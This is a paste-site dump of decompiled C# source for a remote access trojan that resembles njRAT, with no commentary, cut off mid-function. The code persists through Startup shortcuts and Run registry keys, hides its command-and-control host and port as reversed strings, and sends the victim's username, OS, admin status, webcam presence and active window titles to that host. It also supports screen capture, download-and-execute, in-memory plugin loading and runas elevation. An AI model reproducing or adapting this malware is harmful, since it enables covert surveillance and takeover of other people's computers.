New Paste 1 (cs)
// Warning: Some assembly references could not be resolved automatically. This might lead to incorrect decompilation of some parts,
// for ex. property getter/setter access. To get optimal decompilation results, please manually add the missing references to the list of loaded assemblies.
// Stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// L
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.VisualBasic.Devices;
using Microsoft.Win32;
public class L
{
public static string P;
public static string x = "https://5252";
public static string RG = "Windows";
public static string sf = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS";
public static string VN = "NjY2NjY2NjY2NjY2NjY2NjY2NjYoSU5MSUJZQSk=";
public static string Y = "|-F-|";
public static string H;
public static string ss = "https://yl.moc.0202aybil.5252";
public static bool BD = Conversions.ToBoolean("False");
public static bool Idr = Conversions.ToBoolean("False");
public static bool IsF = Conversions.ToBoolean("False");
public static bool Isu = Conversions.ToBoolean("False");
public static bool att = Conversions.ToBoolean("False");
public static bool DIC = Conversions.ToBoolean("False");
public static string DR = "TEMP";
public static string EXE = "Payload.exe";
public static string Time = "4";
public static string lastcap = "";
public static string VU = "v2.0";
public static string DS = "Put discord title link to receive notifications !!";
public static WindowsIdentity Str_0 = WindowsIdentity.GetCurrent();
public static WindowsPrincipal Str_1 = new WindowsPrincipal(Str_0);
public static object Fc = Str_1.IsInRole(WindowsBuiltInRole.Administrator).ToString().Replace("False", "User")
.Replace("True", "Admin");
public static string LIH = Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + RG + ".exe";
public static string rgg = Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + RG + ".URL";
private static byte[] b = new byte[5121];
public static TcpClient FCC = null;
public static bool Cn = false;
public static object PLG = null;
public static Computer F = new Computer();
public static FileStream FS;
public static FileInfo LO = new FileInfo(Assembly.GetEntryAssembly().Location);
private static MemoryStream MeM = new MemoryStream();
public static object MT = null;
private static void LOP(object a0)
{
Ind((byte[])a0);
}
[STAThread]
public static void main()
{
try
{
object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", "")), (Type)null, "CreateShortcut", new object[1] { Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RG + ".lnk" }, (string[])null, (Type[])null, (bool[])null))));
NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "TargetPath", new object[1] { Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RG + ".exe" }, (string[])null, (Type[])null);
NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "Save", new object[0], (string[])null, (Type[])null, (bool[])null, true);
object objectValue2 = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", "")), (Type)null, "CreateShortcut", new object[1] { Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + RG + ".lnk" }, (string[])null, (Type[])null, (bool[])null))));
NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue2), (Type)null, "TargetPath", new object[1] { Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + RG + ".exe" }, (string[])null, (Type[])null);
NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(objectValue2), (Type)null, "Save", new object[0], (string[])null, (Type[])null, (bool[])null, true);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.ClearProjectError();
}
ko();
}
private static void _Lambda__2(object a0, SessionEndingEventArgs a1)
{
ED();
}
[DllImport("user32.dll", CharSet = CharSet.Ansi, EntryPoint = "GetWindowTextLengthA", ExactSpelling = true, SetLastError = true)]
public static extern int GetWindowTextLength(long hwnd);
public static string ACT()
{
string result;
try
{
IntPtr foregroundWindow = GetForegroundWindow();
if (foregroundWindow == IntPtr.Zero)
{
return "";
}
string WinTitle = Strings.Space(checked(GetWindowTextLength((long)foregroundWindow) + 1));
GetWindowText(foregroundWindow, ref WinTitle, WinTitle.Length);
result = ENB(ref WinTitle);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.SetProjectError(ex2);
Exception projectError = ex2;
ProjectData.SetProjectError(projectError);
result = "";
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
return result;
}
public static string BS(ref byte[] B)
{
return Encoding.UTF8.GetString(B);
}
public static bool Cam()
{
checked
{
try
{
int num = 0;
do
{
string lpszVer = null;
short wDriver = (short)num;
string lpszName = Strings.Space(100);
if (capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100))
{
return true;
}
num++;
}
while (num <= 4);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.SetProjectError(ex2);
Exception ex3 = ex2;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
return false;
}
}
[DllImport("avicap32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern bool capGetDriverDescriptionA(short wDriver, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszName, int cbName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVer, int cbVer);
public static bool connect()
{
Cn = false;
Thread.Sleep(2000);
FileInfo lO = LO;
lock (lO)
{
try
{
if (FCC != null)
{
try
{
FCC.Close();
FCC = null;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.SetProjectError(ex2);
Exception projectError = ex2;
ProjectData.SetProjectError(projectError);
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
}
try
{
MeM.Dispose();
}
catch (Exception ex3)
{
ProjectData.SetProjectError(ex3);
Exception ex4 = ex3;
ProjectData.SetProjectError(ex4);
Exception projectError2 = ex4;
ProjectData.SetProjectError(projectError2);
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
}
catch (Exception ex5)
{
ProjectData.SetProjectError(ex5);
Exception ex6 = ex5;
ProjectData.SetProjectError(ex6);
Exception projectError3 = ex6;
ProjectData.SetProjectError(projectError3);
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
try
{
MeM = new MemoryStream();
FCC = new TcpClient();
FCC.ReceiveBufferSize = 204800;
FCC.SendBufferSize = 204800;
FCC.Client.SendTimeout = 10000;
FCC.Client.ReceiveTimeout = 10000;
FCC.Connect(H, Conversions.ToInteger(P));
Cn = true;
Send(inf());
try
{
string text = default(string);
if (Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(GTV("vn", "")), (object)"", false))
{
text = text + DEB(ref VN) + "\r\n";
}
else
{
string text2 = text;
string s = Conversions.ToString(RuntimeHelpers.GetObjectValue(GTV("vn", "")));
text = text2 + DEB(ref s) + "\r\n";
}
text = string.Concat(text + H + ":" + P + "\r\n", DR, "\r\n", EXE, "\r\n", Conversions.ToString(Idr), "\r\n", Conversions.ToString(IsF), "\r\n", Conversions.ToString(Isu), "\r\n", Conversions.ToString(BD));
Send("inf" + Y + ENB(ref text));
}
catch (Exception ex7)
{
ProjectData.SetProjectError(ex7);
Exception ex8 = ex7;
ProjectData.SetProjectError(ex8);
Exception projectError4 = ex8;
ProjectData.SetProjectError(projectError4);
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
}
catch (Exception ex9)
{
ProjectData.SetProjectError(ex9);
Exception ex10 = ex9;
ProjectData.SetProjectError(ex10);
Exception projectError5 = ex10;
ProjectData.SetProjectError(projectError5);
Cn = false;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
}
return Cn;
}
public static string DEB(ref string s)
{
byte[] B = Convert.FromBase64String(s);
return BS(ref B);
}
public static void DLV(string n)
{
try
{
((ServerComputer)F).Registry.CurrentUser.OpenSubKey("Software\\" + RG, writable: true).DeleteValue(n);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.SetProjectError(ex2);
Exception ex3 = ex2;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
}
public static void ED()
{
pr(0);
}
public static string ENB(ref string s)
{
return Convert.ToBase64String(SB(ref s));
}
[DllImport("user32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetForegroundWindow();
[DllImport("kernel32", CharSet = CharSet.Ansi, EntryPoint = "GetVolumeInformationA", ExactSpelling = true, SetLastError = true)]
private static extern int GetVolumeInformation([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpRootPathName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpVolumeNameBuffer, int nVolumeNameSize, ref int lpVolumeSerialNumber, ref int lpMaximumComponentLength, ref int lpFileSystemFlags, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileSystemNameBuffer, int nFileSystemNameSize);
[DllImport("user32.dll", CharSet = CharSet.Ansi, EntryPoint = "GetWindowTextA", ExactSpelling = true, SetLastError = true)]
public static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength);
public static object GTV(string n, object ret)
{
try
{
return RuntimeHelpers.GetObjectValue(((ServerComputer)F).Registry.CurrentUser.OpenSubKey("Software\\" + RG).GetValue(n, RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(ret)))));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.SetProjectError(ex2);
Exception ex3 = ex2;
object objectValue = RuntimeHelpers.GetObjectValue(ret);
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
return objectValue;
}
}
private static string HWD()
{
try
{
string lpVolumeNameBuffer = null;
int lpMaximumComponentLength = 0;
int lpFileSystemFlags = 0;
string lpFileSystemNameBuffer = null;
string lpRootPathName = Interaction.Environ("SystemDrive") + "\\";
int lpVolumeSerialNumber = default(int);
GetVolumeInformation(ref lpRootPathName, ref lpVolumeNameBuffer, 0, ref lpVolumeSerialNumber, ref lpMaximumComponentLength, ref lpFileSystemFlags, ref lpFileSystemNameBuffer, 0);
return Conversion.Hex(lpVolumeSerialNumber);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.SetProjectError(ex2);
Exception ex3 = ex2;
string result = "ERR";
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
return result;
}
}
private static void ASMIN(bool isCritical, ref bool refWasCritical, bool needSystemCriticalBreaks)
{
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
public static void Ind(byte[] b)
{
//IL_076a: Unknown result type (might be due to invalid IL or missing references)
//IL_076f: Unknown result type (might be due to invalid IL or missing references)
//IL_0776: Unknown result type (might be due to invalid IL or missing references)
//IL_077b: Unknown result type (might be due to invalid IL or missing references)
//IL_0790: Unknown result type (might be due to invalid IL or missing references)
//IL_0797: Expected O, but got Unknown
//IL_07bb: Unknown result type (might be due to invalid IL or missing references)
//IL_07d4: Unknown result type (might be due to invalid IL or missing references)
//IL_07d9: Unknown result type (might be due to invalid IL or missing references)
//IL_07e7: Unknown result type (might be due to invalid IL or missing references)
//IL_0826: Unknown result type (might be due to invalid IL or missing references)
//IL_082d: Expected O, but got Unknown
string[] array = Strings.Split(BS(ref b), Y, -1, (CompareMethod)0);
checked
{
try
{
string text = array[0];
switch (text)
{
case "AW":
{
Process process = new Process();
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.FileName = Application.ExecutablePath;
process.StartInfo.UseShellExecute = true;
process.StartInfo.Verb = "runas";
process.StartInfo.Arguments = "";
process.Start();
try
{
bool refWasCritical = default(bool);
ASMIN(isCritical: false, ref refWasCritical, needSystemCriticalBreaks: false);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.ClearProjectError();
}
Environment.Exit(0);
break;
}
case "TMP":
Send("TMP");
break;
case "RNS":
Send("RNS");
break;
case "Setting_Chat":
Send("Setting_Chat");
break;
case "ll":
Cn = false;
return;
case "prof":
switch (array[1])
{
case "~":
STV(array[2], array[3], RegistryValueKind.String);
break;
case "!":
STV(array[2], array[3], RegistryValueKind.String);
Send(Conversions.ToString(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject((object)("getvalue" + Y + array[1] + Y), RuntimeHelpers.GetObjectValue(GTV(array[1], ""))))));
break;
case "@":
DLV(array[2]);
break;
}
return;
}
if (Operators.CompareString(text, "rn", false) == 0)
{
byte[] bytes = default(byte[]);
if (array[2][0] == '\u001f')
{
try
{
MemoryStream memoryStream = new MemoryStream();
int length = (array[0] + Y + array[1] + Y).Length;
memoryStream.Write(b, length, b.Length - length);
bytes = ZIP(memoryStream.ToArray());
}
catch (Exception ex3)
{
ProjectData.SetProjectError(ex3);
Exception ex4 = ex3;
ProjectData.SetProjectError(ex4);
Exception ex5 = ex4;
Send("MSG" + Y + "Execute ERROR");
Send("bla");
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
return;
}
}
Send("bla");
string text2 = Path.GetTempFileName() + "." + array[1];
try
{
File.WriteAllBytes(text2, bytes);
Process.Start(text2);
Send("MSG" + Y + "Executed As " + new FileInfo(text2).Name);
return;
}
catch (Exception ex6)
{
ProjectData.SetProjectError(ex6);
Exception ex7 = ex6;
ProjectData.SetProjectError(ex7);
Exception ex8 = ex7;
Send("MSG" + Y + "Execute ERROR " + ex8.Message);
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
return;
}
}
switch (text)
{
case "inv":
{
byte[] array2 = (byte[])GTV(array[1], new byte[0]);
if ((array[3].Length < 10) & (array2.Length == 0))
{
Send("pl" + Y + array[1] + Y + Conversions.ToString(1));
return;
}
if (array[3].Length > 10)
{
MemoryStream memoryStream2 = new MemoryStream();
int length2 = (array[0] + Y + array[1] + Y + array[2] + Y).Length;
memoryStream2.Write(b, length2, b.Length - length2);
array2 = ZIP(memoryStream2.ToArray());
STV(array[1], array2, RegistryValueKind.Binary);
}
Send("pl" + Y + array[1] + Y + Conversions.ToString(0));
object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Plugin(array2, "A"))));
NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "h", new object[1] { H }, (string[])null, (Type[])null);
NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "p", new object[1] { P }, (string[])null, (Type[])null);
NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "osk", new object[1] { array[2] }, (string[])null, (Type[])null);
NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "start", new object[0], (string[])null, (Type[])null, (bool[])null, true);
while (!Conversions.ToBoolean(RuntimeHelpers.GetObjectValue(Operators.OrObject((object)(!Cn), RuntimeHelpers.GetObjectValue(Operators.CompareObjectEqual(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "Off", new object[0], (string[])null, (Type[])null, (bool[])null)), (object)true, false))))))
{
Thread.Sleep(1);
}
NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue), (Type)null, "off", new object[1] { true }, (string[])null, (Type[])null);
return;
}
case "ret":
{
byte[] array3 = (byte[])GTV(array[1], new byte[0]);
if ((array[2].Length < 10) & (array3.Length == 0))
{
Send("pl" + Y + array[1] + Y + Conversions.ToString(1));
return;
}
if (array[2].Length > 10)
{
MemoryStream memoryStream3 = new MemoryStream();
int length3 = (array[0] + Y + array[1] + Y).Length;
memoryStream3.Write(b, length3, b.Length - length3);
array3 = ZIP(memoryStream3.ToArray());
STV(array[1], array3, RegistryValueKind.Binary);
}
Send("pl" + Y + array[1] + Y + Conversions.ToString(0));
object objectValue2 = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Plugin(array3, "A"))));
string[] array4 = new string[5]
{
"ret",
Y,
array[1],
Y,
null
};
string[] array5 = array4;
string s = Conversions.ToString(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(objectValue2), (Type)null, "GT", new object[0], (string[])null, (Type[])null, (bool[])null)));
array5[4] = ENB(ref s);
Send(string.Concat(array4));
return;
}
case "CAP":
{
Rectangle bounds = Screen.PrimaryScreen.Bounds;
Rectangle bounds2 = Screen.PrimaryScreen.Bounds;
Bitmap val = new Bitmap(((Rectangle)(ref bounds2)).Width, ((Rectangle)(ref bounds)).Height, (PixelFormat)135173);
Graphics val2 = Graphics.FromImage((Image)(object)val);
Size val3 = default(Size);
((Size)(ref val3))._002Ector(((Image)val).Width, ((Image)val).Height);
val2.CopyFromScreen(0, 0, 0, 0, val3, (CopyPixelOperation)13369376);
try
{
((Size)(ref val3))._002Ector(32, 32);
((Rectangle)(ref bounds))._002Ector(Cursor.Position, val3);
Cursors.Default.Draw(val2, bounds);
}
catch (Exception ex9)
{
ProjectData.SetProjectError(ex9);
Exception ex10 = ex9;
ProjectData.SetProjectError(ex10);
Exception ex11 = ex10;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
val2.Dispose();
Bitmap val4 = new Bitmap(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
val2 = Graphics.FromImage((Image)(object)val4);
val2.DrawImage((Image)(object)val, 0, 0, ((Image)val4).Width, ((Image)val4).Height);
val2.Dispose();
MemoryStream memoryStream4 = new MemoryStream();
string s = "CAP" + Y;
b = SB(ref s);
memoryStream4.Write(b, 0, b.Length);
MemoryStream memoryStream5 = new MemoryStream();
((Image)val4).Save((Stream)memoryStream5, ImageFormat.Jpeg);
string text3 = md5(memoryStream5.ToArray());
if (Operators.CompareString(text3, lastcap, false) != 0)
{
lastcap = text3;
memoryStream4.Write(memoryStream5.ToArray(), 0, (int)memoryStream5.Length);
}
else
{
memoryStream4.WriteByte(0);
}
Sendb(memoryStream4.ToArray());
memoryStream4.Dispose();
memoryStream5.Dispose();
((Image)val).Dispose();
((Image)val4).Dispose();
return;
}
case "un":
switch (array[1])
{
case "~":
UNS();
break;
case "!":
pr(0);
ProjectData.EndApp();
break;
case "@":
pr(0);
Process.Start(LO.FullName);
ProjectData.EndApp();
break;
}
return;
}
if (Operators.CompareString(text, "Ex", false) == 0)
{
if (PLG == null)
{
Send("PLG");
int num = 0;
while (!(unchecked(PLG != null || num == 20) | !Cn))
{
num++;
Thread.Sleep(1000);
}
if ((PLG == null) | !Cn)
{
return;
}
}
object[] array6 = new object[1] { b };
bool[] array7 = new bool[1] { true };
NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(PLG), (Type)null, "ind", array6, (string[])null, (Type[])null, array7, true);
if (array7[0])
{
b = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(array6[0]))), typeof(byte[]));
}
}
else if (Operators.CompareString(text, "PLG", false) == 0)
{
MemoryStream memoryStream6 = new MemoryStream();
int length4 = (array[0] + Y).Length;
memoryStream6.Write(b, length4, b.Length - length4);
PLG = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Plugin(ZIP(memoryStream6.ToArray()), "A"))));
NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(PLG), (Type)null, "H", new object[1] { H }, (string[])null, (Type[])null);
NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(PLG), (Type)null, "P", new object[1] { P }, (string[])null, (Type[])null);
NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(PLG), (Type)null, "c", new object[1] { FCC }, (string[])null, (Type[])null);
}
}
catch (Exception ex12)
{
ProjectData.SetProjectError(ex12);
Exception ex13 = ex12;
ProjectData.SetProjectError(ex13);
Exception ex14 = ex13;
if (array.Length > 0 && ((Operators.CompareString(array[0], "Ex", false) == 0) | (Operators.CompareString(array[0], "PLG", false) == 0)))
{
PLG = null;
}
try
{
Send("ER" + Y + array[0] + Y + ex14.Message);
}
catch (Exception ex15)
{
ProjectData.SetProjectError(ex15);
Exception ex16 = ex15;
ProjectData.SetProjectError(ex16);
Exception ex17 = ex16;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
}
}
public static string inf()
{
string text = "ll" + Y;
try
{
if (Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(GTV("vn", "")), (object)"", false))
{
string text2 = text;
string s = DEB(ref VN) + " : C [ " + HWD() + " ]";
text = text2 + ENB(ref s) + Y;
}
else
{
string text3 = text;
string s = Conversions.ToString(RuntimeHelpers.GetObjectValue(GTV("vn", "")));
string s2 = DEB(ref s) + "_" + HWD();
text = text3 + ENB(ref s2) + Y;
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.SetProjectError(ex2);
Exception ex3 = ex2;
string text4 = text;
string s2 = HWD();
text = text4 + ENB(ref s2) + Y;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
try
{
text = text + Environment.UserName + Y;
}
catch (Exception ex4)
{
ProjectData.SetProjectError(ex4);
Exception ex5 = ex4;
ProjectData.SetProjectError(ex5);
Exception ex6 = ex5;
text = text + "??" + Y;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
try
{
text = text + LO.LastWriteTime.Date.ToString("yy-MM-dd") + Y;
}
catch (Exception ex7)
{
ProjectData.SetProjectError(ex7);
Exception ex8 = ex7;
ProjectData.SetProjectError(ex8);
Exception ex9 = ex8;
text = text + "??" + Y;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
try
{
text = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object)text, Fc), (object)Y));
}
catch (Exception ex10)
{
ProjectData.SetProjectError(ex10);
Exception ex11 = ex10;
ProjectData.SetProjectError(ex11);
Exception ex12 = ex11;
text = text + "??-??-??" + Y;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
string text5 = ((ServerComputer)F).Info.OSFullName.Replace("Microsoft", "").Replace("x", "X").Replace("X", "X")
.Replace("Windows", "Win")
.Replace("®", "")
.Replace("™", "")
.Replace(" ", " ")
.Replace(" Win", "Win");
text = text + "..." + Y;
text = text + text5.Substring(0, 5) + Y;
try
{
text += ((ServerComputer)F).Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "")
.Replace("™", "")
.Replace(" ", " ")
.Replace(" Win", "Win");
}
catch (Exception ex13)
{
ProjectData.SetProjectError(ex13);
Exception ex14 = ex13;
ProjectData.SetProjectError(ex14);
Exception ex15 = ex14;
text += "??";
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
text += "SP";
try
{
string[] array = Strings.Split(Environment.OSVersion.ServicePack, " ", -1, (CompareMethod)0);
if (array.Length == 1)
{
text += "0";
}
text += array[checked(array.Length - 1)];
}
catch (Exception ex16)
{
ProjectData.SetProjectError(ex16);
Exception ex17 = ex16;
ProjectData.SetProjectError(ex17);
Exception ex18 = ex17;
text += "0";
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
try
{
text = ((!Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains("x86")) ? (text + " x86" + Y) : (text + " x64" + Y));
}
catch (Exception ex19)
{
ProjectData.SetProjectError(ex19);
Exception ex20 = ex19;
ProjectData.SetProjectError(ex20);
Exception ex21 = ex20;
text += Y;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
text = ((!Cam()) ? (text + "No" + Y) : (text + "Yes" + Y));
text = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object)text, Fc), (object)Y), (object)".."), (object)Y), (object)VU), (object)Y), (object)ACT()), (object)Y));
string text6 = "";
try
{
string[] valueNames = ((ServerComputer)F).Registry.CurrentUser.CreateSubKey("Software\\" + RG, RegistryKeyPermissionCheck.Default).GetValueNames();
foreach (string text7 in valueNames)
{
if (text7.Length == 32)
{
text6 = text6 + text7 + ",";
}
}
}
catch (Exception ex22)
{
ProjectData.SetProjectError(ex22);
Exception ex23 = ex22;
ProjectData.SetProjectError(ex23);
Exception ex24 = ex23;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
return text + text6;
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
public static void ko()
{
checked
{
try
{
sf = Strings.StrReverse(sf);
x = x.Replace("https://", "");
string text = x;
P = Strings.StrReverse(text);
ss = ss.Replace("https://", "");
string text2 = ss;
H = Strings.StrReverse(text2);
for (int num = Conversions.ToInteger(Time); num != 0; num--)
{
Thread.Sleep(1000);
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.ClearProjectError();
}
if (Interaction.Command() != null)
{
try
{
((ServerComputer)F).Registry.CurrentUser.SetValue("di", "!");
}
catch (Exception ex3)
{
ProjectData.SetProjectError(ex3);
Exception ex4 = ex3;
ProjectData.SetProjectError(ex4);
Exception ex5 = ex4;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
Thread.Sleep(5000);
}
bool createdNew = false;
MT = new Mutex(initiallyOwned: true, RG, out createdNew);
if (!createdNew)
{
ProjectData.EndApp();
}
INS();
if (!Idr)
{
EXE = LO.Name;
DR = LO.Directory.Name;
}
Thread thread = new Thread(RC, 1);
thread.Start();
int num2 = 0;
string text3 = "";
if (BD)
{
try
{
SystemEvents.SessionEnding += _Lambda__2;
pr(1);
}
catch (Exception ex6)
{
ProjectData.SetProjectError(ex6);
Exception ex7 = ex6;
ProjectData.SetProjectError(ex7);
Exception ex8 = ex7;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
}
while (true)
{
Thread.Sleep(1000);
if (!Cn)
{
text3 = "";
}
Application.DoEvents();
try
{
num2++;
if (num2 == 5)
{
try
{
Process.GetCurrentProcess().MinWorkingSet = (IntPtr)1024;
}
catch (Exception ex9)
{
ProjectData.SetProjectError(ex9);
Exception ex10 = ex9;
ProjectData.SetProjectError(ex10);
Exception ex11 = ex10;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
}
if (num2 >= 8)
{
num2 = 0;
string text4 = ACT();
if (Operators.CompareString(text3, text4, false) != 0)
{
text3 = text4;
Send("act" + Y + text4);
}
}
if (!Isu)
{
continue;
}
try
{
if (Operators.ConditionalCompareObjectNotEqual(RuntimeHelpers.GetObjectValue(((ServerComputer)F).Registry.CurrentUser.GetValue(sf + "\\" + RG, "")), (object)rgg, false))
{
((ServerComputer)F).Registry.CurrentUser.OpenSubKey(sf, writable: true).SetValue(RG, rgg);
}
}
catch (Exception ex12)
{
ProjectData.SetProjectError(ex12);
Exception ex13 = ex12;
ProjectData.SetProjectError(ex13);
Exception ex14 = ex13;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
try
{
if (Operators.ConditionalCompareObjectNotEqual(RuntimeHelpers.GetObjectValue(((ServerComputer)F).Registry.LocalMachine.GetValue(sf + "\\" + RG, "")), (object)rgg, false))
{
((ServerComputer)F).Registry.LocalMachine.OpenSubKey(sf, writable: true).SetValue(RG, rgg);
}
}
catch (Exception ex15)
{
ProjectData.SetProjectError(ex15);
Exception ex16 = ex15;
ProjectData.SetProjectError(ex16);
Exception ex17 = ex16;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
}
catch (Exception ex18)
{
ProjectData.SetProjectError(ex18);
Exception ex19 = ex18;
ProjectData.SetProjectError(ex19);
Exception ex20 = ex19;
ProjectData.ClearProjectError();
ProjectData.ClearProjectErr…
Raw · Download
Pastee